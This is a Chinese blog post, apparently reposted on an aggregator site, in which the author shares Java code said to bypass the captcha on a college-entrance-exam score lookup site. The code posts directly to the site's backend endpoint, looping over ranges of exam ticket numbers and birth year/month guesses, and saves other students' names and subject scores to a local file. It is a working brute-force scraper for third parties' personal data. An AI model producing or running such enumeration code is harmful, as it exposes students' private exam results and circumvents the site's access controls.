今天高考查成绩,于是我用程序简单绕过了高考的验证码。非黑客技术

来源:互联网 发布:美国pce数据 编辑:程序博客网 时间:2024/04/29 22:20



源代码也放上来吧源代码有点乱,申精

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.text.DecimalFormat;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;

/**
 * 
 * @author   E-mail:work@68xg.com
 * 
 */
public class Main {
static DecimalFormat sr;

/**
 * @param args
 */
public static void main(String[] args) {
sr = new DecimalFormat("00");
final DecimalFormat zkzFormat = new DecimalFormat("0000");
final String zkzStr = "080410";
// 再写一个循环
for (int i = 1039; i < 8100; i++) {// 这里输出100个

final String stri = zkzStr + zkzFormat.format(i);
/* Thread t = new Thread(new Runnable() {

@Override
public void run() {


}
});
t.start();*/
System.out.println(stri);
doZkz(stri);// 测试
}

// System.out.println();
// 如果是错的话,输出的是2
// 如果是对的话就是-1
// 写一个方法,接收信息

}

private static void doZkz(String zkzStr) {
for (int i = 1; i <= 12; i++) {
String srStr = sr.format(i);// 这里格式化生日01 02这样

lookGk("96" + srStr, zkzStr);
lookGk("95" + srStr, zkzStr);
lookGk("94" + srStr, zkzStr);
lookGk("97" + srStr, zkzStr);
  lookGk("93" + srStr, zkzStr);
lookGk("92" + srStr, zkzStr);
lookGk("98" + srStr, zkzStr); 
// 这里只是快速的测试,如果正规写代码不能这样下,效率比较低,要在查到正确后跳出循环
}
}

private static void lookGk(String parameterN, String parameterZ) {
// 传递过来的参数
String parameter = "csny=" + parameterN + "&zkzh=" + parameterZ;
String tempStr = HttpUtils.sendPost(
"http://www.5184.com/gk/common/get_mem.php", parameter);
int isYes = tempStr.indexOf("flag");
if (isYes == -1) {
// daoru json bao

try {
JSONObject json = new JSONObject(tempStr);
JSONObject student = new JSONObject(json.getString("student"));
String name = student.getString("name");
//name=name.substring(0,name.length()-1)+"X";
System.out.print(name + "\t");

JSONArray j = json.getJSONArray("course");
String temp = j.get(0).toString();
String temp1 = j.get(1).toString();
String temp2 = j.get(2).toString();
String temp3 = j.get(3).toString();
String temp4 = j.get(4).toString();
JSONObject cj = new JSONObject(temp);
JSONObject cj1 = new JSONObject(temp1);
JSONObject cj2 = new JSONObject(temp2);
JSONObject cj3 = new JSONObject(temp3);
JSONObject cj4 = new JSONObject(temp4);
 
System.out.print("语文" + cj.getString("cj") + "\t");
System.out.print("数学" + cj1.getString("cj") + "\t");
System.out.print("综合" + cj2.getString("cj") + "\t");
System.out.print("英语" + cj3.getString("cj") + "\t");
System.out.print("总分" + cj4.getString("cj") + "\r");

 method2("d:\\1.txt", name + "\t" 
  + "语文" + cj.getString("cj") + "\t"
+ "数学" + cj1.getString("cj") + "\t" 
+ "综合" + cj2.getString("cj") + "\t"  
    + "英语" + cj3.getString("cj") + "\t" 
+ "总分" + cj4.getString("cj") + "\t") ;

} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

}
}
public static void method2(String file, String conent) {
BufferedWriter out = null;
try {
out = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(file, true)));
out.write(conent+"\r\n");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
out.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}

// http://www.5184.com/gk/common/get_mem.php
// csny=9507&zkzh=0512201111&yzm=16
}
0 0
原创粉丝点击